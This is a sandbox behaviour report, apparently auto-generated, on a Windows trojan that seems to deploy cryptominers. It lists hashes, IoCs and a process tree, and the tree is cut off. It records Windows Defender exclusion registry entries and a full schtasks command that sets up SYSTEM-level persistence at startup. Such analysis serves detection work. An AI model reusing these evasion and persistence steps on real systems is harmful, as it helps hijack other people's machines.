b805dc4d53eb0beb1734e5c3e9f0c1f41c319436e402b7a9061222e710308ee1

Analysis

max time kernel
150s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 11:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nex.exe
Size 497KB
Sample261107-nks22aef97
SHA256 b805dc4d53eb0beb1734e5c3e9f0c1f41c319436e402b7a9061222e710308ee1
MD5 c065b85c912da4c5dec37c581f8618cb
SHA1 24d5170ee544ad88709a074f5c1aef7eea336fbe
SHA512 ee89acd6c25778433c440aa003247097367db50759c36623f798efe32d8b04882533df4cf7303aeb5707629c59f363b51a67bc518c7d4ea980e89d07302e54c2
SSDEEP 3072:5BvmLhmm7H89r/1j1dPoGWvrXS6p0wFAxLPTuWGX+ceu+F+ScADcAD:5lahEVdj1divn+dTuWWex
TLSH
T1F5B420065E0BC8DDEBA2947460FBC4F492317D8C49E5908E6CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence trojan upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3580	powershell.exe
4896	powershell.exe
1796	powershell.exe
480	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
2	6092	FleetComputeM4Service.exe
3	2560	FleetComputeM4Service.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
2560	FleetComputeM4Service.exe
4548	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
5988	FleetComputeM4Service.exe
3744	FleetComputeM4Service.exe
2664	fc-m4.exe
1568	fc-m4.exe
4228	fc-m4.exe
1100	fc-m4.exe
5268	fc-m4.exe
2208	fc-m4.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe

Windows security modification 2 TTPs 11 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4 = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FleetComputeM4Service.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\fc-m4.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\krig-miner.exe = "0"	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bzminer.exe = "0"	FleetComputeM4Service.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	FleetComputeM4Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\FleetComputeM4\bin = "0"	FleetComputeM4Service.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001200000001c46c-155.dat	upx
behavioral2/files/0x001300000001c46c-186.dat	upx
behavioral2/memory/2664-192-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx
behavioral2/memory/2664-196-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx
behavioral2/memory/4228-198-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx
behavioral2/memory/1568-199-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx
behavioral2/memory/2664-201-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx
behavioral2/memory/1100-227-0x00007FF640660000-0x00007FF6450D1000-memory.dmp	upx

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_t2nt2yu1.vme.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_qgy31waq.gfy.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1ulja14q.tg4.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lrqlxkdl.glx.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_f3yjpc2f.j11.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_e2agmbyb.q3t.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_znttgyss.znv.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sq2potah.4nq.psm1	powershell.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5640	sc.exe
4932	sc.exe
5332	sc.exe
5548	sc.exe
5724	sc.exe
3240	sc.exe

Direct Volume Access: Opens a physical disk for reading 1 TTPs 6 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\PHYSICALDRIVE0	nex.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeM4Service.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
600	cmd.exe
2156	cmd.exe
3236	cmd.exe
676	cmd.exe
5972	cmd.exe
3668	cmd.exe
1792	cmd.exe
4312	cmd.exe
2148	cmd.exe
936	cmd.exe
4524	cmd.exe
5028	cmd.exe
1920	cmd.exe
2364	cmd.exe
1944	cmd.exe
4280	cmd.exe
3400	cmd.exe
3500	cmd.exe
264	cmd.exe
2852	cmd.exe
5348	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-m4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-m4.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5908	WMIC.exe
2360	WMIC.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	nex.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	nex.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeM4Service.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeM4Service.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3140	schtasks.exe
1048	schtasks.exe
6104	schtasks.exe
6116	schtasks.exe
3456	schtasks.exe
5608	schtasks.exe
3432	schtasks.exe
4208	schtasks.exe
4376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
5908	WMIC.exe
2360	WMIC.exe
2360	WMIC.exe
2360	WMIC.exe
2360	WMIC.exe
1796	powershell.exe
1796	powershell.exe
480	powershell.exe
480	powershell.exe
1796	powershell.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
480	powershell.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
4896	powershell.exe
4896	powershell.exe
4896	powershell.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
6092	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe
2560	FleetComputeM4Service.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe
Token: SeSecurityPrivilege	5908	WMIC.exe
Token: SeTakeOwnershipPrivilege	5908	WMIC.exe
Token: SeLoadDriverPrivilege	5908	WMIC.exe
Token: SeSystemProfilePrivilege	5908	WMIC.exe
Token: SeSystemtimePrivilege	5908	WMIC.exe
Token: SeProfSingleProcessPrivilege	5908	WMIC.exe
Token: SeIncBasePriorityPrivilege	5908	WMIC.exe
Token: SeCreatePagefilePrivilege	5908	WMIC.exe
Token: SeBackupPrivilege	5908	WMIC.exe
Token: SeRestorePrivilege	5908	WMIC.exe
Token: SeShutdownPrivilege	5908	WMIC.exe
Token: SeDebugPrivilege	5908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5908	WMIC.exe
Token: SeRemoteShutdownPrivilege	5908	WMIC.exe
Token: SeUndockPrivilege	5908	WMIC.exe
Token: SeManageVolumePrivilege	5908	WMIC.exe
Token: 33	5908	WMIC.exe
Token: 34	5908	WMIC.exe
Token: 35	5908	WMIC.exe
Token: 36	5908	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2360	WMIC.exe
Token: SeSecurityPrivilege	2360	WMIC.exe
Token: SeTakeOwnershipPrivilege	2360	WMIC.exe
Token: SeLoadDriverPrivilege	2360	WMIC.exe
Token: SeSystemtimePrivilege	2360	WMIC.exe
Token: SeBackupPrivilege	2360	WMIC.exe
Token: SeRestorePrivilege	2360	WMIC.exe
Token: SeShutdownPrivilege	2360	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2360	WMIC.exe
Token: SeUndockPrivilege	2360	WMIC.exe
Token: SeManageVolumePrivilege	2360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe
Token: SeSecurityPrivilege	5908	WMIC.exe
Token: SeTakeOwnershipPrivilege	5908	WMIC.exe
Token: SeLoadDriverPrivilege	5908	WMIC.exe
Token: SeSystemProfilePrivilege	5908	WMIC.exe
Token: SeSystemtimePrivilege	5908	WMIC.exe
Token: SeProfSingleProcessPrivilege	5908	WMIC.exe
Token: SeIncBasePriorityPrivilege	5908	WMIC.exe
Token: SeCreatePagefilePrivilege	5908	WMIC.exe
Token: SeBackupPrivilege	5908	WMIC.exe
Token: SeRestorePrivilege	5908	WMIC.exe
Token: SeShutdownPrivilege	5908	WMIC.exe
Token: SeDebugPrivilege	5908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5908	WMIC.exe
Token: SeRemoteShutdownPrivilege	5908	WMIC.exe
Token: SeUndockPrivilege	5908	WMIC.exe
Token: SeManageVolumePrivilege	5908	WMIC.exe
Token: 33	5908	WMIC.exe
Token: 34	5908	WMIC.exe
Token: 35	5908	WMIC.exe
Token: 36	5908	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2360	WMIC.exe
Token: SeSecurityPrivilege	2360	WMIC.exe
Token: SeTakeOwnershipPrivilege	2360	WMIC.exe
Token: SeLoadDriverPrivilege	2360	WMIC.exe
Token: SeSystemtimePrivilege	2360	WMIC.exe
Token: SeBackupPrivilege	2360	WMIC.exe
Token: SeRestorePrivilege	2360	WMIC.exe
Token: SeShutdownPrivilege	2360	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2360	WMIC.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 5868 wrote to memory of 4280	5868	nex.exe	89
PID 4280 wrote to memory of 4208	4280	cmd.exe	91
PID 5868 wrote to memory of 3400	5868	nex.exe	92
PID 3400 wrote to memory of 2716	3400	cmd.exe	94
PID 5868 wrote to memory of 4524	5868	nex.exe	96
PID 4524 wrote to memory of 6104	4524	cmd.exe	100
PID 4548 wrote to memory of 3236	4548	FleetComputeM4Service.exe	101
PID 5868 wrote to memory of 1920	5868	nex.exe	103
PID 3236 wrote to memory of 4376	3236	cmd.exe	105
PID 1920 wrote to memory of 6116	1920	cmd.exe	106
PID 4548 wrote to memory of 676	4548	FleetComputeM4Service.exe	107
PID 5868 wrote to memory of 3500	5868	nex.exe	108
PID 676 wrote to memory of 3240	676	cmd.exe	111
PID 3500 wrote to memory of 4972	3500	cmd.exe	112
PID 4548 wrote to memory of 264	4548	FleetComputeM4Service.exe	114
PID 264 wrote to memory of 5640	264	cmd.exe	116
PID 4548 wrote to memory of 5972	4548	FleetComputeM4Service.exe	117
PID 5972 wrote to memory of 4932	5972	cmd.exe	120
PID 6092 wrote to memory of 2852	6092	FleetComputeM4Service.exe	122
PID 2560 wrote to memory of 3668	2560	FleetComputeM4Service.exe	119
PID 2852 wrote to memory of 3456	2852	cmd.exe	125
PID 3668 wrote to memory of 3140	3668	cmd.exe	126
PID 6092 wrote to memory of 5028	6092	FleetComputeM4Service.exe	127
PID 2560 wrote to memory of 5348	2560	FleetComputeM4Service.exe	128
PID 5028 wrote to memory of 5608	5028	cmd.exe	131
PID 5348 wrote to memory of 1048	5348	cmd.exe	132
PID 6092 wrote to memory of 600	6092	FleetComputeM4Service.exe	133
PID 2560 wrote to memory of 2364	2560	FleetComputeM4Service.exe	135
PID 600 wrote to memory of 5908	600	cmd.exe	137
PID 2364 wrote to memory of 2360	2364	cmd.exe	138
PID 6092 wrote to memory of 1796	6092	FleetComputeM4Service.exe	140
PID 2560 wrote to memory of 480	2560	FleetComputeM4Service.exe	141
PID 5868 wrote to memory of 1792	5868	nex.exe	144
PID 1792 wrote to memory of 4168	1792	cmd.exe	146
PID 6092 wrote to memory of 3580	6092	FleetComputeM4Service.exe	147
PID 2560 wrote to memory of 4896	2560	FleetComputeM4Service.exe	149
PID 5868 wrote to memory of 4312	5868	nex.exe	151
PID 4312 wrote to memory of 2004	4312	cmd.exe	153
PID 5868 wrote to memory of 1944	5868	nex.exe	154
PID 1944 wrote to memory of 3432	1944	cmd.exe	156
PID 5868 wrote to memory of 2156	5868	nex.exe	157
PID 2156 wrote to memory of 5332	2156	cmd.exe	159
PID 5868 wrote to memory of 2148	5868	nex.exe	160
PID 2148 wrote to memory of 5548	2148	cmd.exe	162
PID 5868 wrote to memory of 936	5868	nex.exe	163
PID 936 wrote to memory of 5724	936	cmd.exe	165
PID 2560 wrote to memory of 2664	2560	FleetComputeM4Service.exe	168
PID 2664 wrote to memory of 1568	2664	fc-m4.exe	170
PID 1568 wrote to memory of 4228	1568	fc-m4.exe	171
PID 2560 wrote to memory of 1100	2560	FleetComputeM4Service.exe	172
PID 1100 wrote to memory of 5268	1100	fc-m4.exe	174
PID 5268 wrote to memory of 2208	5268	fc-m4.exe	175

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\nex.exe
"C:\Users\Admin\AppData\Local\Temp\nex.exe"
1⤵
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:5868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4208
- C:\Windows\SYSTEM32\cmd.exe
